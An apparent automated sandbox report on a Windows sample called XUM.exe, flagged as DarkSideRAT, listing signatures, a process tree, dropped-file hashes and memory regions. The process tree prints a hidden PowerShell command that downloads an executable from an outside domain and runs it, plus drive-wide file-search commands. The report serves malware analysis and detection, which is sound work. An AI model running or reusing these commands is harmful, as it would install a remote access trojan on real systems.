Analysis

  • user interaction
    yes
  • max time kernel
    148s
  • max time network
    141s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    08/11/2026, 10:42

General

  • Target
    XUM.exe
  • Size 29KB
  • Sample261108-mrpshszves
  • SHA256 2402504638bd9cb8348c63a6cc2ee807c2ec2c2d12046e5899197b354e5ea66b
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Family: DarkSideRAT

    DarkSideRAT is a remote access trojan.

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Downloads MZ/PE file 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Registers new Windows logon scripts automatically executed at logon. 1 TTPs 2 IoCs
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 30 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\XUM.exe
    "C:\Users\Admin\AppData\Local\Temp\XUM.exe"
    1⤵
    • Registers new Windows logon scripts automatically executed at logon.
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious use of WriteProcessMemory
    PID:3392
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://www.vcc-data.bond/Stb/Retev.php?bl=09T5ScEnA5aRj3PyXjPRE017.txt' -OutFile $env:APPDATA\BK253606.exe; Start-Process -FilePath $env:APPDATA\BK253606.exe -WindowStyle Hidden }"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4928
      • C:\Windows\system32\cmd.exe
        cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://www.vcc-data.bond/Stb/Retev.php?bl=09T5ScEnA5aRj3PyXjPRE017.txt' -OutFile $env:APPDATA\BK253606.exe; Start-Process -FilePath $env:APPDATA\BK253606.exe -WindowStyle Hidden }"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:2984
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://www.vcc-data.bond/Stb/Retev.php?bl=09T5ScEnA5aRj3PyXjPRE017.txt' -OutFile $env:APPDATA\BK253606.exe; Start-Process -FilePath $env:APPDATA\BK253606.exe -WindowStyle Hidden }"
          4⤵
          • Badlisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Downloads MZ/PE file
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4648
          • C:\Users\Admin\AppData\Roaming\BK253606.exe
            "C:\Users\Admin\AppData\Roaming\BK253606.exe"
            5⤵
            • Executes dropped EXE
            • Registers new Windows logon scripts automatically executed at logon.
            • Reads the TCP/IP host and domain name from the registry
            • Suspicious use of WriteProcessMemory
            PID:4156
            • C:\Windows\System32\LsaIso.exe
              "C:\Windows\System32\LsaIso.exe"
              6⤵
              • Enumerates connected drives
              • Checks processor information in registry
              • Suspicious use of SetWindowsHookEx
              • Suspicious use of WriteProcessMemory
              PID:4064
              • C:\Windows\system32\cmd.exe
                /c dir /a /s /b C:\*imgui_impl_win32.cpp C:\*.suo C:\*.exe C:\*.vcxproj > C:\ProgramData\CDat.bin1
                7⤵
                  PID:5980
                • C:\Windows\System32\SensorDataService.exe
                  "C:\Windows\System32\SensorDataService.exe"
                  7⤵
                    PID:3840
                  • C:\Windows\system32\cmd.exe
                    /c dir /a /s /b E:\*imgui_impl_win32.cpp E:\*.suo E:\*.exe E:\*.vcxproj > C:\ProgramData\EDat.bin1
                    7⤵
                      PID:760
                    • C:\Windows\system32\cmd.exe
                      /c dir /a /s /b F:\*imgui_impl_win32.cpp F:\*.suo F:\*.exe F:\*.vcxproj > C:\ProgramData\FDat.bin1
                      7⤵
                        PID:1628
            • C:\Windows\System32\PATHPING.EXE
              "C:\Windows\System32\PATHPING.EXE"
              2⤵
              • System Network Configuration Discovery: Internet Connection Discovery
              PID:4508

          Network

                MITRE ATT&CK Enterprise v16

                Replay Monitor

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                Downloads

                CDAT.bin1

                • Path C:\ProgramData\CDAT.bin1
                • Size 349KB
                • SHA256 50bc85893dc1e5fb7a400cd467b6eb5dc0c3d88ec2a8bcb3dff218cb7033bd65
                • MD5 SHA1 SHA512 SSDEEP TLSH

                103621DE9CD5414CC2538780B4B75751

                • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751
                • Size 808B
                • SHA256 3dd5ea8a14eb665ba6057d424f94e5e83757ffaab456578dbf038af04053b19e
                • MD5 SHA1 SHA512 TLSH

                1B1495DD322A24490E2BF2FAABAE1C61

                • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\1B1495DD322A24490E2BF2FAABAE1C61
                • Size 355B
                • SHA256 12fd0590708bb38d8039bc994178acee8a3d220f0cd194b0f1c2fc9ba622f927
                • MD5 SHA1 SHA512 TLSH

                22D536C4B4AD2CEF7AC6B7789FD235E3

                • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\22D536C4B4AD2CEF7AC6B7789FD235E3
                • Size 283B
                • SHA256 251ed08cc8f5873098ea5ee083034e7cd99ece955920e12a42e50306a94cb6eb
                • MD5 SHA1 SHA512 TLSH

                7DB15623A51DDA737CD30F4D6F8EFB26

                • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\7DB15623A51DDA737CD30F4D6F8EFB26
                • Size 98KB
                • SHA256 da0cc7aee12db9d25231d7a8f35eb32c20e39afb1142611cc37014ea26ff5b6b
                • MD5 SHA1 SHA512 SSDEEP TLSH

                103621DE9CD5414CC2538780B4B75751

                • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751
                • Size 192B
                • SHA256 15e0cebcbe3f5ece2fdb9217c30f16d6c62dc9217f47da884b0538079d5ee06e
                • MD5 SHA1 SHA512 TLSH

                103621DE9CD5414CC2538780B4B75751

                • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751
                • Size 192B
                • SHA256 33e247473f1175d5ab55920514b94589a767ad11f896bd07fc8dafdc8d8bd246
                • MD5 SHA1 SHA512 TLSH

                1B1495DD322A24490E2BF2FAABAE1C61

                • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\1B1495DD322A24490E2BF2FAABAE1C61
                • Size 192B
                • SHA256 b213655d9206938a74425ca881c8cbfcc14dc76befbfd76f61e061009f4b2547
                • MD5 SHA1 SHA512 TLSH

                22D536C4B4AD2CEF7AC6B7789FD235E3

                • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\22D536C4B4AD2CEF7AC6B7789FD235E3
                • Size 192B
                • SHA256 1223b3783bde9a027f4c595eec9aea2de21fd3a4330b77975551b2b30a5dcfc3
                • MD5 SHA1 SHA512 TLSH

                7DB15623A51DDA737CD30F4D6F8EFB26

                • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7DB15623A51DDA737CD30F4D6F8EFB26
                • Size 248B
                • SHA256 6393d16f95e52e6d4464930205a9737cd3664e68245c9ce4cde150596417d60e
                • MD5 SHA1 SHA512 TLSH

                BK253606.exe

                • Path C:\Users\Admin\AppData\Roaming\BK253606.exe
                • Size 28KB
                • SHA256 705911dac13030a8c8cc01959e22b193c9c0920c965350ab6a1a0311b2d14ed3
                • MD5 SHA1 SHA512 SSDEEP TLSH

                memory/3840-170-0x000001C4EB9F0000-0x000001C4EB9F1000-memory.dmp

                memory/3840-169-0x000001C4EB9E0000-0x000001C4EB9EB000-memory.dmp

                memory/3840-171-0x000001C4EB9E0000-0x000001C4EB9EB000-memory.dmp

                memory/3840-175-0x000001C4EB9E0000-0x000001C4EB9EB000-memory.dmp

                memory/3840-196-0x000001C4EB9E0000-0x000001C4EB9EB000-memory.dmp

                memory/4064-105-0x000001DFAB4D0000-0x000001DFAB727000-memory.dmp

                memory/4064-156-0x000001DFAB4D0000-0x000001DFAB727000-memory.dmp

                memory/4064-207-0x000001DFAB4D0000-0x000001DFAB727000-memory.dmp

                memory/4064-206-0x000001DFAB4D0000-0x000001DFAB727000-memory.dmp

                memory/4064-204-0x000001DFAB4D0000-0x000001DFAB727000-memory.dmp

                memory/4064-201-0x000001DFAB4D0000-0x000001DFAB727000-memory.dmp

                memory/4064-176-0x000001DFAB4D0000-0x000001DFAB727000-memory.dmp

                memory/4064-167-0x000001DFAB4D0000-0x000001DFAB727000-memory.dmp

                memory/4064-166-0x000001DFAB4D0000-0x000001DFAB727000-memory.dmp

                memory/4064-164-0x000001DFAB4D0000-0x000001DFAB727000-memory.dmp

                memory/4064-99-0x000001DFAB730000-0x000001DFAB731000-memory.dmp

                memory/4064-98-0x000001DFAB4D0000-0x000001DFAB727000-memory.dmp

                memory/4064-112-0x000001DFAB4D0000-0x000001DFAB727000-memory.dmp

                memory/4064-117-0x000001DFAB4D0000-0x000001DFAB727000-memory.dmp

                memory/4064-115-0x000001DFAB4D0000-0x000001DFAB727000-memory.dmp

                memory/4064-114-0x000001DFAB4D0000-0x000001DFAB727000-memory.dmp

                memory/4064-113-0x000001DFAB4D0000-0x000001DFAB727000-memory.dmp

                memory/4064-111-0x000001DFAB4D0000-0x000001DFAB727000-memory.dmp

                memory/4064-107-0x000001DFAB4D0000-0x000001DFAB727000-memory.dmp

                memory/4064-109-0x000001DFAB4D0000-0x000001DFAB727000-memory.dmp

                memory/4064-108-0x000001DFAB4D0000-0x000001DFAB727000-memory.dmp

                memory/4064-106-0x000001DFAB4D0000-0x000001DFAB727000-memory.dmp

                memory/4064-104-0x000001DFAB4D0000-0x000001DFAB727000-memory.dmp

                memory/4064-110-0x000001DFAB4D0000-0x000001DFAB727000-memory.dmp

                memory/4064-162-0x000001DFAB4D0000-0x000001DFAB727000-memory.dmp

                memory/4064-100-0x000001DFAB4D0000-0x000001DFAB727000-memory.dmp

                memory/4064-116-0x000001DFAB4D0000-0x000001DFAB727000-memory.dmp

                memory/4064-159-0x000001DFAB4D0000-0x000001DFAB727000-memory.dmp

                memory/4064-157-0x000001DFAB4D0000-0x000001DFAB727000-memory.dmp

                memory/4064-146-0x000001DFAB4D0000-0x000001DFAB727000-memory.dmp

                memory/4064-141-0x000001DFAB4D0000-0x000001DFAB727000-memory.dmp

                memory/4064-140-0x000001DFAB4D0000-0x000001DFAB727000-memory.dmp

                memory/4064-139-0x000001DFAB4D0000-0x000001DFAB727000-memory.dmp

                memory/4064-138-0x000001DFAB4D0000-0x000001DFAB727000-memory.dmp

                memory/4156-60-0x0000000180000000-0x0000000180062000-memory.dmp

                memory/4508-120-0x0000022853C40000-0x0000022853E97000-memory.dmp

                memory/4508-136-0x0000022853C40000-0x0000022853E97000-memory.dmp

                memory/4508-130-0x0000022853C40000-0x0000022853E97000-memory.dmp

                memory/4508-129-0x0000022853C40000-0x0000022853E97000-memory.dmp

                memory/4508-127-0x0000022853C40000-0x0000022853E97000-memory.dmp

                memory/4508-126-0x0000022853C40000-0x0000022853E97000-memory.dmp

                memory/4508-132-0x0000022853C40000-0x0000022853E97000-memory.dmp

                memory/4508-124-0x0000022853C40000-0x0000022853E97000-memory.dmp

                memory/4508-119-0x0000022853EA0000-0x0000022853EA1000-memory.dmp

                memory/4508-134-0x0000022853C40000-0x0000022853E97000-memory.dmp

                memory/4508-137-0x0000022853C40000-0x0000022853E97000-memory.dmp

                memory/4508-128-0x0000022853C40000-0x0000022853E97000-memory.dmp

                memory/4508-144-0x0000022853C40000-0x0000022853E97000-memory.dmp

                memory/4508-125-0x0000022853C40000-0x0000022853E97000-memory.dmp

                memory/4508-131-0x0000022853C40000-0x0000022853E97000-memory.dmp

                memory/4508-133-0x0000022853C40000-0x0000022853E97000-memory.dmp

                memory/4508-135-0x0000022853C40000-0x0000022853E97000-memory.dmp

                memory/4648-0-0x00007FFBB0ABF000-0x00007FFBB0AC0000-memory.dmp

                memory/4648-25-0x00007FFBB0930000-0x00007FFBB12D4000-memory.dmp

                memory/4648-9-0x00007FFBB0930000-0x00007FFBB12D4000-memory.dmp

                memory/4648-10-0x00007FFBB0930000-0x00007FFBB12D4000-memory.dmp

                memory/4648-8-0x00007FFBB0930000-0x00007FFBB12D4000-memory.dmp

                memory/4648-7-0x00007FFBB0930000-0x00007FFBB12D4000-memory.dmp

                memory/4648-6-0x00007FFBB0930000-0x00007FFBB12D4000-memory.dmp

                memory/4648-5-0x0000027E1E5B0000-0x0000027E1E5D2000-memory.dmp

                memory/4648-11-0x00007FFBB0930000-0x00007FFBB12D4000-memory.dmp

                memory/4648-4-0x00007FFBB0930000-0x00007FFBB12D4000-memory.dmp

                memory/4648-1-0x00007FFBB0930000-0x00007FFBB12D4000-memory.dmp

                memory/4648-13-0x00007FFBB0930000-0x00007FFBB12D4000-memory.dmp

                memory/4648-18-0x00007FFBB0930000-0x00007FFBB12D4000-memory.dmp

                memory/4648-19-0x00007FFBB0930000-0x00007FFBB12D4000-memory.dmp

                memory/4648-20-0x00007FFBB0930000-0x00007FFBB12D4000-memory.dmp